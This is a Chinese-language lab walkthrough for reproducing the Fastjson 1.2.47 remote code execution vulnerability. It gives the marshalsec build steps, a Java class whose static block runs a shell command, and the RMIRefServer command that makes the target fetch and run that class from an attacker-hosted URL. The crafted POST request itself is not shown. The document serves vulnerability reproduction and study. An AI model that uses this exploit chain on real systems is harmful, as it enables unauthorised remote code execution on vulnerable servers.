跳到主要内容

Fastjson

1.2.47-rce

1. 环境搭建

  • 下载 marshalsec, 在项目根目录下执行 mvn clean package -DskipTests 生成 target/marshalsec-x.x.x-SNAPSHOT-all.jar
备注
  1. mvn -v 对应环境必须为 jdk, 通过 JAVA_HOME 环境变量配置 jdk 而不是 jre 路径, 确保 PATH 路径中没有 jave 路径
  2. 编译遇到类似 Invalid CEN header (invalid zip64 extra data field size) 是由于 java 高版本对 zip64 严格校验导致, 安装 jave8 解决
  3. 靶机 java 版本 <=8u121, 否则 trustURLCodebase=false,RMI 远程加载被禁
  • 编译上传命令执行代码
TouchFile.java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

备注
  1. 命令执行代码编译版本要 <= 靶机 java 版本, 否则在靶机无法执行
  2. 确保 phpstudy 允许局域网访问, 防火墙添加 80 端口入站规则
  • 启动 rmi 服务器, 防火墙添加 9999 端口入站规则
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.30.128/#TouchFile" 9999

2. 漏洞复现

  • 构造 HTTP POST 请求

  • rmi 服务器下 出现 Sending remote classloading stub targeting http://192.168.30.128/TouchFile.class, apache 的 access.log 出现 "GET /TouchFile.class HTTP/1.1" 200, 说明靶机成功请求命令执行代码

  • 靶机成功看到写入的文件